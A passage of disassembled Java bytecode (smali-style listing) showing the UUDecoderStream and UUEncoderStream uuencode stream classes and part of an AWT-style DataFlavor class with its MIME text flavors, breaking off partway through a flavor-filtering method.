#--------------------------------------------------------------------------------
.class public UUDecoderStream
.super FilterInputStream
.source ""

.field private buffer:[B
.field private bufsize:I
.field private gotEnd:Z
.field private gotPrefix:Z
.field private index:I
.field private lin:LineInputStream
.field private mode:I
.field private name:String

.method public constructor <init>(InputStream)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, p1
00000008  iput                    v0, p0, UUDecoderStream->bufsize:I
0000000C  iput                    v0, p0, UUDecoderStream->index:I
00000010  iput-boolean            v0, p0, UUDecoderStream->gotPrefix:Z
00000014  iput-boolean            v0, p0, UUDecoderStream->gotEnd:Z
00000018  new-instance            v0, LineInputStream
0000001C  invoke-direct           LineInputStream-><init>(InputStream)V, v0, p1
00000022  iput-object             v0, p0, UUDecoderStream->lin:LineInputStream
00000026  const/16                v0, 0x2D
0000002A  new-array               v0, v0, [B
0000002E  iput-object             v0, p0, UUDecoderStream->buffer:[B
00000032  return-void
.end method

.method private decode()Z
          .registers 10
00000000  const/4                 v5, 0x3
00000002  const/4                 v1, 0x1
00000004  const/4                 v2, 0x0
00000006  iget-boolean            v0, p0, UUDecoderStream->gotEnd:Z
0000000A  if-eqz                  v0, :10
:E
0000000E  return                  v2
:10
00000010  iput                    v2, p0, UUDecoderStream->bufsize:I
:14
00000014  iget-object             v0, p0, UUDecoderStream->lin:LineInputStream
00000018  invoke-virtual          LineInputStream->readLine()String, v0
0000001E  move-result-object      v0
00000020  if-nez                  v0, :34
:24
00000024  new-instance            v0, IOException
00000028  const-string            v1, "Missing End"
0000002C  invoke-direct           IOException-><init>(String)V, v0, v1
00000032  throw                   v0
:34
00000034  const-string            v3, "end"
00000038  move                    v4, v2
0000003A  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
00000040  move-result             v3
00000042  if-eqz                  v3, :4C
:46
00000046  iput-boolean            v1, p0, UUDecoderStream->gotEnd:Z
0000004A  goto                    :E
:4C
0000004C  invoke-virtual          String->length()I, v0
00000052  move-result             v3
00000054  if-eqz                  v3, :14
:58
00000058  invoke-virtual          String->charAt(I)C, v0, v2
0000005E  move-result             v3
00000060  const/16                v4, 0x20
00000064  if-ge                   v3, v4, :78
:68
00000068  new-instance            v0, IOException
0000006C  const-string            v1, "Buffer format error"
00000070  invoke-direct           IOException-><init>(String)V, v0, v1
00000076  throw                   v0
:78
00000078  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFE0
0000007C  and-int/lit8            v6, v3, 0x3F
00000080  if-nez                  v6, :BC
:84
00000084  iget-object             v0, p0, UUDecoderStream->lin:LineInputStream
00000088  invoke-virtual          LineInputStream->readLine()String, v0
0000008E  move-result-object      v0
00000090  if-eqz                  v0, :A6
:94
00000094  const-string            v3, "end"
00000098  move                    v4, v2
0000009A  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
000000A0  move-result             v0
000000A2  if-nez                  v0, :B6
:A6
000000A6  new-instance            v0, IOException
000000AA  const-string            v1, "Missing End"
000000AE  invoke-direct           IOException-><init>(String)V, v0, v1
000000B4  throw                   v0
:B6
000000B6  iput-boolean            v1, p0, UUDecoderStream->gotEnd:Z
000000BA  goto                    :E
:BC
000000BC  mul-int/lit8            v2, v6, 0x8
000000C0  add-int/lit8            v2, v2, 0x5
000000C4  div-int/lit8            v2, v2, 0x6
000000C8  invoke-virtual          String->length()I, v0
000000CE  move-result             v3
000000D0  add-int/lit8            v2, v2, 0x1
000000D4  if-ge                   v3, v2, :E8
:D8
000000D8  new-instance            v0, IOException
000000DC  const-string            v1, "Short buffer error"
000000E0  invoke-direct           IOException-><init>(String)V, v0, v1
000000E6  throw                   v0
:E8
000000E8  move                    v2, v1
:EA
000000EA  iget                    v3, p0, UUDecoderStream->bufsize:I
000000EE  if-lt                   v3, v6, :F6
:F2
000000F2  move                    v2, v1
000000F4  goto                    :E
:F6
000000F6  add-int/lit8            v3, v2, 0x1
000000FA  invoke-virtual          String->charAt(I)C, v0, v2
00000100  move-result             v2
00000102  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFE0
00000106  and-int/lit8            v2, v2, 0x3F
0000010A  int-to-byte             v4, v2
0000010C  add-int/lit8            v2, v3, 0x1
00000110  invoke-virtual          String->charAt(I)C, v0, v3
00000116  move-result             v3
00000118  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFE0
0000011C  and-int/lit8            v3, v3, 0x3F
00000120  int-to-byte             v3, v3
00000122  iget-object             v5, p0, UUDecoderStream->buffer:[B
00000126  iget                    v7, p0, UUDecoderStream->bufsize:I
0000012A  add-int/lit8            v8, v7, 0x1
0000012E  iput                    v8, p0, UUDecoderStream->bufsize:I
00000132  shl-int/lit8            v4, v4, 0x2
00000136  and-int/lit16           v4, v4, 0xFC
0000013A  ushr-int/lit8           v8, v3, 0x4
0000013E  and-int/lit8            v8, v8, 0x3
00000142  or-int/2addr            v4, v8
00000144  int-to-byte             v4, v4
00000146  aput-byte               v4, v5, v7
0000014A  iget                    v4, p0, UUDecoderStream->bufsize:I
0000014E  if-ge                   v4, v6, :1DC
:152
00000152  add-int/lit8            v4, v2, 0x1
00000156  invoke-virtual          String->charAt(I)C, v0, v2
0000015C  move-result             v2
0000015E  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFE0
00000162  and-int/lit8            v2, v2, 0x3F
00000166  int-to-byte             v2, v2
00000168  iget-object             v5, p0, UUDecoderStream->buffer:[B
0000016C  iget                    v7, p0, UUDecoderStream->bufsize:I
00000170  add-int/lit8            v8, v7, 0x1
00000174  iput                    v8, p0, UUDecoderStream->bufsize:I
00000178  shl-int/lit8            v3, v3, 0x4
0000017C  and-int/lit16           v3, v3, 0xF0
00000180  ushr-int/lit8           v8, v2, 0x2
00000184  and-int/lit8            v8, v8, 0xF
00000188  or-int/2addr            v3, v8
0000018A  int-to-byte             v3, v3
0000018C  aput-byte               v3, v5, v7
00000190  move                    v3, v4
00000192  move                    v4, v2
:194
00000194  iget                    v2, p0, UUDecoderStream->bufsize:I
00000198  if-ge                   v2, v6, :1D8
:19C
0000019C  add-int/lit8            v2, v3, 0x1
000001A0  invoke-virtual          String->charAt(I)C, v0, v3
000001A6  move-result             v3
000001A8  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFE0
000001AC  and-int/lit8            v3, v3, 0x3F
000001B0  int-to-byte             v3, v3
000001B2  iget-object             v5, p0, UUDecoderStream->buffer:[B
000001B6  iget                    v7, p0, UUDecoderStream->bufsize:I
000001BA  add-int/lit8            v8, v7, 0x1
000001BE  iput                    v8, p0, UUDecoderStream->bufsize:I
000001C2  shl-int/lit8            v4, v4, 0x6
000001C6  and-int/lit16           v4, v4, 0xC0
000001CA  and-int/lit8            v3, v3, 0x3F
000001CE  or-int/2addr            v3, v4
000001D0  int-to-byte             v3, v3
000001D2  aput-byte               v3, v5, v7
000001D6  goto                    :EA
:1D8
000001D8  move                    v2, v3
000001DA  goto                    :EA
:1DC
000001DC  move                    v4, v3
000001DE  move                    v3, v2
000001E0  goto                    :194
.end method

.method private readPrefix()V
          .registers 7
00000000  const/4                 v1, 0x1
00000002  const/4                 v2, 0x0
00000004  iget-boolean            v0, p0, UUDecoderStream->gotPrefix:Z
00000008  if-eqz                  v0, :E
:C
0000000C  return-void
:E
0000000E  iget-object             v0, p0, UUDecoderStream->lin:LineInputStream
00000012  invoke-virtual          LineInputStream->readLine()String, v0
00000018  move-result-object      v0
0000001A  if-nez                  v0, :2E
:1E
0000001E  new-instance            v0, IOException
00000022  const-string            v1, "UUDecoder error: No Begin"
00000026  invoke-direct           IOException-><init>(String)V, v0, v1
0000002C  throw                   v0
:2E
0000002E  const-string            v3, "begin"
00000032  const/4                 v5, 0x5
00000034  move                    v4, v2
00000036  invoke-virtual/range    String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
0000003C  move-result             v3
0000003E  if-eqz                  v3, :E
:42
00000042  const/4                 v2, 0x6
00000044  const/16                v3, 0x9
:48
00000048  invoke-virtual          String->substring(I, I)String, v0, v2, v3
0000004E  move-result-object      v2
00000050  invoke-static           Integer->parseInt(String)I, v2
00000056  move-result             v2
00000058  iput                    v2, p0, UUDecoderStream->mode:I
:5C
0000005C  const/16                v2, 0xA
00000060  invoke-virtual          String->substring(I)String, v0, v2
00000066  move-result-object      v0
00000068  iput-object             v0, p0, UUDecoderStream->name:String
0000006C  iput-boolean            v1, p0, UUDecoderStream->gotPrefix:Z
00000070  goto                    :C
:72
00000072  move-exception          v0
00000074  new-instance            v1, IOException
00000078  new-instance            v2, StringBuilder
0000007C  const-string            v3, "UUDecoder error: "
00000080  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000086  invoke-virtual          NumberFormatException->toString()String, v0
0000008C  move-result-object      v0
0000008E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000094  move-result-object      v0
00000096  invoke-virtual          StringBuilder->toString()String, v0
0000009C  move-result-object      v0
0000009E  invoke-direct           IOException-><init>(String)V, v1, v0
000000A4  throw                   v1
          .catch NumberFormatException {:48 .. :5C} :72
.end method

.method public available()I
          .registers 4
00000000  iget-object             v0, p0, UUDecoderStream->in:InputStream
00000004  invoke-virtual          InputStream->available()I, v0
0000000A  move-result             v0
0000000C  mul-int/lit8            v0, v0, 0x3
00000010  div-int/lit8            v0, v0, 0x4
00000014  iget                    v1, p0, UUDecoderStream->bufsize:I
00000018  iget                    v2, p0, UUDecoderStream->index:I
0000001C  sub-int/2addr           v1, v2
0000001E  add-int/2addr           v0, v1
00000020  return                  v0
.end method

.method public getMode()I
          .registers 2
00000000  invoke-direct           UUDecoderStream->readPrefix()V, p0
00000006  iget                    v0, p0, UUDecoderStream->mode:I
0000000A  return                  v0
.end method

.method public getName()String
          .registers 2
00000000  invoke-direct           UUDecoderStream->readPrefix()V, p0
00000006  iget-object             v0, p0, UUDecoderStream->name:String
0000000A  return-object           v0
.end method

.method public markSupported()Z
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

.method public read()I
          .registers 4
00000000  iget                    v0, p0, UUDecoderStream->index:I
00000004  iget                    v1, p0, UUDecoderStream->bufsize:I
00000008  if-lt                   v0, v1, :28
:C
0000000C  invoke-direct           UUDecoderStream->readPrefix()V, p0
00000012  invoke-direct           UUDecoderStream->decode()Z, p0
00000018  move-result             v0
0000001A  if-nez                  v0, :22
:1E
0000001E  const/4                 v0, 0xFFFFFFFFFFFFFFFF
:20
00000020  return                  v0
:22
00000022  const/4                 v0, 0x0
00000024  iput                    v0, p0, UUDecoderStream->index:I
:28
00000028  iget-object             v0, p0, UUDecoderStream->buffer:[B
0000002C  iget                    v1, p0, UUDecoderStream->index:I
00000030  add-int/lit8            v2, v1, 0x1
00000034  iput                    v2, p0, UUDecoderStream->index:I
00000038  aget-byte               v0, v0, v1
0000003C  and-int/lit16           v0, v0, 0xFF
00000040  goto                    :20
.end method

.method public read([B, I, I)I
          .registers 8
00000000  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v1, 0x0
:4
00000004  if-lt                   v1, p3, :C
:8
00000008  move                    v0, v1
:A
0000000A  return                  v0
:C
0000000C  invoke-virtual          UUDecoderStream->read()I, p0
00000012  move-result             v2
00000014  if-ne                   v2, v0, :1E
:18
00000018  if-nez                  v1, :8
:1C
0000001C  goto                    :A
:1E
0000001E  add-int                 v3, p2, v1
00000022  int-to-byte             v2, v2
00000024  aput-byte               v2, p1, v3
00000028  add-int/lit8            v1, v1, 0x1
0000002C  goto                    :4
.end method

#--------------------------------------------------------------------------------
.class public UUEncoderStream
.super FilterOutputStream
.source ""

.field private buffer:[B
.field private bufsize:I
.field protected mode:I
.field protected name:String
.field private wrotePrefix:Z

.method public constructor <init>(OutputStream)V
          .registers 4
00000000  const-string            v0, "encoder.buf"
00000004  const/16                v1, 0x284
00000008  invoke-direct           UUEncoderStream-><init>(OutputStream, String, I)V, p0, p1, v0, v1
0000000E  return-void
.end method

.method public constructor <init>(OutputStream, String)V
          .registers 4
00000000  const/16                v0, 0x284
00000004  invoke-direct           UUEncoderStream-><init>(OutputStream, String, I)V, p0, p1, p2, v0
0000000A  return-void
.end method

.method public constructor <init>(OutputStream, String, I)V
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008  iput                    v0, p0, UUEncoderStream->bufsize:I
0000000C  iput-boolean            v0, p0, UUEncoderStream->wrotePrefix:Z
00000010  iput-object             p2, p0, UUEncoderStream->name:String
00000014  iput                    p3, p0, UUEncoderStream->mode:I
00000018  const/16                v0, 0x2D
0000001C  new-array               v0, v0, [B
00000020  iput-object             v0, p0, UUEncoderStream->buffer:[B
00000024  return-void
.end method

.method private encode()V
          .registers 8
00000000  const/4                 v3, 0x1
00000002  const/4                 v0, 0x0
00000004  iget-object             v1, p0, UUEncoderStream->out:OutputStream
00000008  iget                    v2, p0, UUEncoderStream->bufsize:I
0000000C  and-int/lit8            v2, v2, 0x3F
00000010  add-int/lit8            v2, v2, 0x20
00000014  invoke-virtual          OutputStream->write(I)V, v1, v2
:1A
0000001A  iget                    v1, p0, UUEncoderStream->bufsize:I
0000001E  if-lt                   v0, v1, :32
:22
00000022  iget-object             v0, p0, UUEncoderStream->out:OutputStream
00000026  const/16                v1, 0xA
0000002A  invoke-virtual          OutputStream->write(I)V, v0, v1
00000030  return-void
:32
00000032  iget-object             v1, p0, UUEncoderStream->buffer:[B
00000036  add-int/lit8            v2, v0, 0x1
0000003A  aget-byte               v4, v1, v0
0000003E  iget                    v0, p0, UUEncoderStream->bufsize:I
00000042  if-ge                   v2, v0, :D6
:46
00000046  iget-object             v0, p0, UUEncoderStream->buffer:[B
0000004A  add-int/lit8            v1, v2, 0x1
0000004E  aget-byte               v2, v0, v2
00000052  iget                    v0, p0, UUEncoderStream->bufsize:I
00000056  if-ge                   v1, v0, :D0
:5A
0000005A  iget-object             v5, p0, UUEncoderStream->buffer:[B
0000005E  add-int/lit8            v0, v1, 0x1
00000062  aget-byte               v1, v5, v1
:66
00000066  ushr-int/lit8           v5, v4, 0x2
0000006A  and-int/lit8            v5, v5, 0x3F
0000006E  shl-int/lit8            v4, v4, 0x4
00000072  and-int/lit8            v4, v4, 0x30
00000076  ushr-int/lit8           v6, v2, 0x4
0000007A  and-int/lit8            v6, v6, 0xF
0000007E  or-int/2addr            v4, v6
00000080  shl-int/lit8            v2, v2, 0x2
00000084  and-int/lit8            v2, v2, 0x3C
00000088  ushr-int/lit8           v6, v1, 0x6
0000008C  and-int/lit8            v6, v6, 0x3
00000090  or-int/2addr            v2, v6
00000092  and-int/lit8            v1, v1, 0x3F
00000096  iget-object             v6, p0, UUEncoderStream->out:OutputStream
0000009A  add-int/lit8            v5, v5, 0x20
0000009E  invoke-virtual          OutputStream->write(I)V, v6, v5
000000A4  iget-object             v5, p0, UUEncoderStream->out:OutputStream
000000A8  add-int/lit8            v4, v4, 0x20
000000AC  invoke-virtual          OutputStream->write(I)V, v5, v4
000000B2  iget-object             v4, p0, UUEncoderStream->out:OutputStream
000000B6  add-int/lit8            v2, v2, 0x20
000000BA  invoke-virtual          OutputStream->write(I)V, v4, v2
000000C0  iget-object             v2, p0, UUEncoderStream->out:OutputStream
000000C4  add-int/lit8            v1, v1, 0x20
000000C8  invoke-virtual          OutputStream->write(I)V, v2, v1
000000CE  goto                    :1A
:D0
000000D0  move                    v0, v1
000000D2  move                    v1, v3
000000D4  goto                    :66
:D6
000000D6  move                    v0, v2
000000D8  move                    v1, v3
000000DA  move                    v2, v3
000000DC  goto                    :66
.end method

.method private writePrefix()V
          .registers 4
00000000  iget-boolean            v0, p0, UUEncoderStream->wrotePrefix:Z
00000004  if-nez                  v0, :62
:8
00000008  new-instance            v0, PrintStream
0000000C  iget-object             v1, p0, UUEncoderStream->out:OutputStream
00000010  invoke-direct           PrintStream-><init>(OutputStream)V, v0, v1
00000016  new-instance            v1, StringBuilder
0000001A  const-string            v2, "begin "
0000001E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000024  iget                    v2, p0, UUEncoderStream->mode:I
00000028  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v2
0000002E  move-result-object      v1
00000030  const-string            v2, " "
00000034  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000003A  move-result-object      v1
0000003C  iget-object             v2, p0, UUEncoderStream->name:String
00000040  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000046  move-result-object      v1
00000048  invoke-virtual          StringBuilder->toString()String, v1
0000004E  move-result-object      v1
00000050  invoke-virtual          PrintStream->println(String)V, v0, v1
00000056  invoke-virtual          PrintStream->flush()V, v0
0000005C  const/4                 v0, 0x1
0000005E  iput-boolean            v0, p0, UUEncoderStream->wrotePrefix:Z
:62
00000062  return-void
.end method

.method private writeSuffix()V
          .registers 3
00000000  new-instance            v0, PrintStream
00000004  iget-object             v1, p0, UUEncoderStream->out:OutputStream
00000008  invoke-direct           PrintStream-><init>(OutputStream)V, v0, v1
0000000E  const-string            v1, " \nend"
00000012  invoke-virtual          PrintStream->println(String)V, v0, v1
00000018  invoke-virtual          PrintStream->flush()V, v0
0000001E  return-void
.end method

.method public close()V
          .registers 2
00000000  invoke-virtual          UUEncoderStream->flush()V, p0
00000006  iget-object             v0, p0, UUEncoderStream->out:OutputStream
0000000A  invoke-virtual          OutputStream->close()V, v0
00000010  return-void
.end method

.method public flush()V
          .registers 2
00000000  iget                    v0, p0, UUEncoderStream->bufsize:I
00000004  if-lez                  v0, :14
:8
00000008  invoke-direct           UUEncoderStream->writePrefix()V, p0
0000000E  invoke-direct           UUEncoderStream->encode()V, p0
:14
00000014  invoke-direct           UUEncoderStream->writeSuffix()V, p0
0000001A  iget-object             v0, p0, UUEncoderStream->out:OutputStream
0000001E  invoke-virtual          OutputStream->flush()V, v0
00000024  return-void
.end method

.method public setNameMode(String, I)V
          .registers 3
00000000  iput-object             p1, p0, UUEncoderStream->name:String
00000004  iput                    p2, p0, UUEncoderStream->mode:I
00000008  return-void
.end method

.method public write(I)V
          .registers 5
00000000  iget-object             v0, p0, UUEncoderStream->buffer:[B
00000004  iget                    v1, p0, UUEncoderStream->bufsize:I
00000008  add-int/lit8            v2, v1, 0x1
0000000C  iput                    v2, p0, UUEncoderStream->bufsize:I
00000010  int-to-byte             v2, p1
00000012  aput-byte               v2, v0, v1
00000016  iget                    v0, p0, UUEncoderStream->bufsize:I
0000001A  const/16                v1, 0x2D
0000001E  if-ne                   v0, v1, :34
:22
00000022  invoke-direct           UUEncoderStream->writePrefix()V, p0
00000028  invoke-direct           UUEncoderStream->encode()V, p0
0000002E  const/4                 v0, 0x0
00000030  iput                    v0, p0, UUEncoderStream->bufsize:I
:34
00000034  return-void
.end method

.method public write([B)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p1
00000004  invoke-virtual          UUEncoderStream->write([B, I, I)V, p0, p1, v0, v1
0000000A  return-void
.end method

.method public write([B, I, I)V
          .registers 6
00000000  const/4                 v0, 0x0
:2
00000002  if-lt                   v0, p3, :8
:6
00000006  return-void
:8
00000008  add-int                 v1, p2, v0
0000000C  aget-byte               v1, p1, v1
00000010  invoke-virtual          UUEncoderStream->write(I)V, p0, v1
00000016  add-int/lit8            v0, v0, 0x1
0000001A  goto                    :2
.end method

#--------------------------------------------------------------------------------
.class public DataFlavor
.super Object
.source ""

.implements Externalizable
.implements Cloneable

.field public static final javaFileListFlavor:DataFlavor = null
.field public static final javaJVMLocalObjectMimeType:String = "application/x-java-jvm-local-objectref"
.field public static final javaRemoteObjectMimeType:String = "application/x-java-remote-object"
.field public static final javaSerializedObjectMimeType:String = "application/x-java-serialized-object"
.field public static final plainTextFlavor:DataFlavor = null
    .annotation runtime Deprecated
    .end annotation
.end field
.field private static plainUnicodeFlavor:DataFlavor = null
.field private static final serialVersionUID:J = 0x741DA5DB78A37333L
.field private static final sortedTextFlavors:[String
.field public static final stringFlavor:DataFlavor
.field private humanPresentableName:String
.field private mimeInfo:MimeTypeProcessor$MimeType
.field private representationClass:Class

.method static constructor <clinit>()V
          .registers 3
00000000  new-instance            v0, DataFlavor
00000004  const-string            v1, "text/plain; charset=unicode; class=java.io.InputStream"
00000008  const-string            v2, "Plain Text"
0000000C  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
00000012  sput-object             v0, DataFlavor->plainTextFlavor:DataFlavor
00000016  new-instance            v0, DataFlavor
0000001A  const-string            v1, "application/x-java-serialized-object; class=java.lang.String"
0000001E  const-string            v2, "Unicode String"
00000022  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
00000028  sput-object             v0, DataFlavor->stringFlavor:DataFlavor
0000002C  new-instance            v0, DataFlavor
00000030  const-string            v1, "application/x-java-file-list; class=java.util.List"
00000034  const-string            v2, "application/x-java-file-list"
00000038  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
0000003E  sput-object             v0, DataFlavor->javaFileListFlavor:DataFlavor
00000042  const/16                v0, 0x10
00000046  new-array               v0, v0, [String
0000004A  const/4                 v1, 0x0
0000004C  const-string            v2, "text/sgml"
00000050  aput-object             v2, v0, v1
00000054  const/4                 v1, 0x1
00000056  const-string            v2, "text/xml"
0000005A  aput-object             v2, v0, v1
0000005E  const/4                 v1, 0x2
00000060  const-string            v2, "text/html"
00000064  aput-object             v2, v0, v1
00000068  const/4                 v1, 0x3
0000006A  const-string            v2, "text/rtf"
0000006E  aput-object             v2, v0, v1
00000072  const/4                 v1, 0x4
00000074  const-string            v2, "text/enriched"
00000078  aput-object             v2, v0, v1
0000007C  const/4                 v1, 0x5
0000007E  const-string            v2, "text/richtext"
00000082  aput-object             v2, v0, v1
00000086  const/4                 v1, 0x6
00000088  const-string            v2, "text/uri-list"
0000008C  aput-object             v2, v0, v1
00000090  const/4                 v1, 0x7
00000092  const-string            v2, "text/tab-separated-values"
00000096  aput-object             v2, v0, v1
0000009A  const/16                v1, 0x8
0000009E  const-string            v2, "text/t140"
000000A2  aput-object             v2, v0, v1
000000A6  const/16                v1, 0x9
000000AA  const-string            v2, "text/rfc822-headers"
000000AE  aput-object             v2, v0, v1
000000B2  const/16                v1, 0xA
000000B6  const-string            v2, "text/parityfec"
000000BA  aput-object             v2, v0, v1
000000BE  const/16                v1, 0xB
000000C2  const-string            v2, "text/directory"
000000C6  aput-object             v2, v0, v1
000000CA  const/16                v1, 0xC
000000CE  const-string            v2, "text/css"
000000D2  aput-object             v2, v0, v1
000000D6  const/16                v1, 0xD
000000DA  const-string            v2, "text/calendar"
000000DE  aput-object             v2, v0, v1
000000E2  const/16                v1, 0xE
000000E6  const-string            v2, "application/x-java-serialized-object"
000000EA  aput-object             v2, v0, v1
000000EE  const/16                v1, 0xF
000000F2  const-string            v2, "text/plain"
000000F6  aput-object             v2, v0, v1
000000FA  sput-object             v0, DataFlavor->sortedTextFlavors:[String
000000FE  const/4                 v0, 0x0
00000100  sput-object             v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000104  return-void
.end method

.method public constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C  iput-object             v0, p0, DataFlavor->humanPresentableName:String
00000010  iput-object             v0, p0, DataFlavor->representationClass:Class
00000014  return-void
.end method

.method public constructor <init>(Class, String)V
          .registers 6
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, MimeTypeProcessor$MimeType
0000000A  const-string            v1, "application"
0000000E  const-string            v2, "x-java-serialized-object"
00000012  invoke-direct           MimeTypeProcessor$MimeType-><init>(String, String)V, v0, v1, v2
00000018  iput-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001C  if-eqz                  p2, :40
:20
00000020  iput-object             p2, p0, DataFlavor->humanPresentableName:String
:24
00000024  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000028  const-string            v1, "class"
0000002C  invoke-virtual          Class->getName()String, p1
00000032  move-result-object      v2
00000034  invoke-virtual          MimeTypeProcessor$MimeType->addParameter(String, String)V, v0, v1, v2
0000003A  iput-object             p1, p0, DataFlavor->representationClass:Class
0000003E  return-void
:40
00000040  const-string            v0, "application/x-java-serialized-object"
00000044  iput-object             v0, p0, DataFlavor->humanPresentableName:String
00000048  goto                    :24
.end method

.method public constructor <init>(String)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  invoke-direct           DataFlavor->init(String, String, ClassLoader)V, p0, p1, v0, v0
0000000E  return-void
.end method

.method public constructor <init>(String, String)V
          .registers 8
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
:8
00000008  invoke-direct           DataFlavor->init(String, String, ClassLoader)V, p0, p1, p2, v0
:E
0000000E  return-void
:10
00000010  move-exception          v0
00000012  new-instance            v1, IllegalArgumentException
00000016  const-string            v2, "awt.16C"
0000001A  iget-object             v3, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E  const-string            v4, "class"
00000022  invoke-virtual          MimeTypeProcessor$MimeType->getParameter(String)String, v3, v4
00000028  move-result-object      v3
0000002A  invoke-static           Messages->getString(String, Object)String, v2, v3
00000030  move-result-object      v2
00000032  invoke-direct           IllegalArgumentException-><init>(String, Throwable)V, v1, v2, v0
00000038  throw                   v1
          .catch ClassNotFoundException {:8 .. :E} :10
.end method

.method public constructor <init>(String, String, ClassLoader)V
          .registers 4
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-direct           DataFlavor->init(String, String, ClassLoader)V, p0, p1, p2, p3
0000000C  return-void
.end method

.method private static fetchTextFlavors(List, String)List
          .registers 6
00000000  new-instance            v1, LinkedList
00000004  invoke-direct           LinkedList-><init>()V, v1
0000000A  invoke-interface        List->iterator()Iterator, p0
00000010  move-result-object      v2
:12
00000012  invoke-interface        Iterator->hasNext()Z, v2
00000018  move-result             v0
0000001A  if-nez                  v0, :2E
:1E
0000001E  invoke-virtual          LinkedList->isEmpty()Z, v1
00000024  move-result             v0
00000026  if-eqz                  v0, :80
:2A
0000002A  const/4                 v0, 0x0
:2C
0000002C  return-object           v0
:2E
0000002E  invoke-interface        Iterator->next()Object, v2
00000034  move-result-object      v0
00000036  check-cast              v0, DataFlavor
0000003A  invoke-virtual          DataFlavor->isFlavorTextType()Z, v0
00000040  move-result             v3
00000042  if-eqz                  v3, :78
:46
00000046  iget-object             v3, v0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000004A  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, v3
00000050  move-result-object      v3
00000052  invoke-virtual          String->equals(Object)Z, v3, p1
00000058  move-result             v3
0000005A  if-eqz                  v3, :12
:5E
0000005E  invoke-virtual          LinkedList->contains(Object)Z, v1, v0
00000064  move-result             v3
00000066  if-nez                  v3, :70
:6A
0000006A  invoke-virtual          LinkedList->add(Object)Z, v1, v0
:70
00000070  invoke-interface        Iterator->remove()V, v2
00000076  goto                    :12
:78
00000078  invoke-interface        Iterator->remove()V, v2
0000007E  goto                    :12
:80
00000080  move-object             v0, v1
00000082  goto                    :2C
.end method

.method private getCharset()String
          .registers 3
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  if-eqz                  v0, :14
:8
00000008  invoke-direct           DataFlavor->isCharsetRedundant()Z, p0
0000000E  move-result             v0
00000010  if-eqz                  v0, :1A
:14
00000014  const-string            v0, ""
:18
00000018  return-object           v0
:1A
0000001A  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E  const-string            v1, "charset"
00000022  invoke-virtual          MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000028  move-result-object      v0
0000002A  invoke-direct           DataFlavor->isCharsetRequired()Z, p0
00000030  move-result             v1
00000032  if-eqz                  v1, :58
:36
00000036  if-eqz                  v0, :46
:3A
0000003A  invoke-virtual          String->length()I, v0
00000040  move-result             v1
00000042  if-nez                  v1, :58
:46
00000046  invoke-static           DTK->getDTK()DTK
0000004C  move-result-object      v0
0000004E  invoke-virtual          DTK->getDefaultCharset()String, v0
00000054  move-result-object      v0
00000056  goto                    :18
:58
00000058  if-nez                  v0, :18
:5C
0000005C  const-string            v0, ""
00000060  goto                    :18
.end method

.method private static getFlavors(List, Class)List
          .registers 6
00000000  new-instance            v1, LinkedList
00000004  invoke-direct           LinkedList-><init>()V, v1
0000000A  invoke-interface        List->iterator()Iterator, p0
00000010  move-result-object      v2
:12
00000012  invoke-interface        Iterator->hasNext()Z, v2
00000018  move-result             v0
0000001A  if-nez                  v0, :2E
:1E
0000001E  invoke-virtual          LinkedList->isEmpty()Z, v1
00000024  move-result             v0
00000026  if-eqz                  v0, :2C
:2A
0000002A  const/4                 p0, 0x0
:2C
0000002C  return-object           p0
:2E
0000002E  invoke-interface        Iterator->next()Object, v2
00000034  move-result-object      v0
00000036  check-cast              v0, DataFlavor
0000003A  iget-object             v3, v0, DataFlavor->representationClass:Class
0000003E  invoke-virtual          Object->equals(Object)Z, v3, p1
00000044  move-result             v3
00000046  if-eqz                  v3, :12
:4A
0000004A  invoke-virtual          LinkedList->add(Object)Z, v1, v0
00000050  goto                    :12
.end method

.method private static getFlavors(List, [String)List
          .registers 9
00000000  new-instance            v2, LinkedList
00000004  invoke-direct           LinkedList-><init>()V, v2
0000000A  invoke-interface        List->iterator()Iterator, p0
00000010  move-result-object      v3
:12
00000012  invoke-interface        Iterator->hasNext()Z, v3
00000018  move-result             v0
0000001A  if-nez                  v0, :2E
:1E
